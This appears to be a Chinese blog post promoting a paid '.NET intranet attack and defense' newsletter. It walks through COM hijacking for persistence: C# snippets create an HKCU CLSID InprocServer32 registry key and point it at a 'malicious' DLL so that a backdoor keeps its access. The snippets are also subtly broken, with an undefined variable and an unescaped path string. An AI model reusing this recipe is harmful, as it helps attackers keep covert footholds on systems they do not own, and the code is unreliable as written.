.NET 通过COM劫持实现权限维持

01阅读须知

此文所节选自小报童《.NET 内网实战攻防》专栏,主要内容有.NET在各个内网渗透阶段与Windows系统交互的方式和技巧,对内网和后渗透感兴趣的朋友们可以订阅该电子报刊,解锁更多的报刊内容。

02原理介绍

COM劫持就是攻击者通过劫持Windows系统中的COM组件,实现对目标系统持久性的访问。通常情况下使用.NET实现COM劫持大概分为以下3步。

2.1 定义CLSID

首先,要想COM劫持,必须精心挑选CLSID,尽量选择应用范围广的CLSID。这里,我们选择的CLSID为:{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}。具体定义如下所示。

string classid = "b5f8350b-0548-48b1-a6ee-88bd00b4a5e7";
string dllpath = "C:\\Path\\To\\Malicious.dll";

该CLSID主要对CAccPropServicesClass 和 MMDeviceEnumerator的劫持。

2.2 创建注册表项

接着,在注册表中创建CLSID指向的InprocServer32键名,这里使用CreateSubKey方法。具体如下所示。

string registryPath = string.Format("Software\\Classes\\CLSID\\{0}\\InprocServer32", "b5f8350b-0548-48b1-a6ee-88bd00b4a5e7");
RegistryKey registryKey2 = Registry.CurrentUser.CreateSubKey(text2);

这段代码表示在Windows注册表中创建InprocServer32子键,返回一个表示HKEY_CURRENT_USER(HKCU)用户配置单元的RegistryKey对象,这样就可以访问和设置当前用户配置单元项。

2.3 设置键值指向DLL

最后,使用SetValue方法将\Software\Classes\CLSID\\b5f8350b-0548-48b1-a6ee-88bd00b4a5e7\\InprocServer32的值更新为calc.dll路径。

registryKey2.SetValue("","C:\windows\temp\calc.dll" );
registryKey2.Close();

Windows系统中还有很多类似的CLSID可以用来维持权限,攻击者可以利用它们在系统中植入后门并保持持久访问。想要了解更多内网权限维持的文章,可以移步小报童《.NET 内网实战攻防》电子报刊。

03.NET内网安全攻防报刊

发现一个小报童电子报刊【.NET内网安全攻防】,内容主要有.NET在各个内网渗透阶段与Windows系统交互的方式和技巧,可细分为以下8个方向。

1) .NET 安全防御绕过
2) .NET 本地权限提升
3) .NET 内网信息收集
4) .NET 内网代理通道
5) .NET 内网横向移动
6) .NET 目标权限维持
7) .NET 数据传输外发
8) .NET 目标痕迹清理

保持长期更新,初步计划保持每周更新1-2篇新内容,对.NET内网安全的朋友们请尽快订阅该报刊!

图片

订阅后请关注公众号:dotNet安全矩阵,发送订单截图和您的微信号,邀请您加入专属交流群。感兴趣的朋友,可以点击链接:https://xiaobot.net/p/dotNetAttack,或者扫描下方海报微信二维码加入即可,订阅后小报童定时会将最新内容通过微信推送给您。

  • 5
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值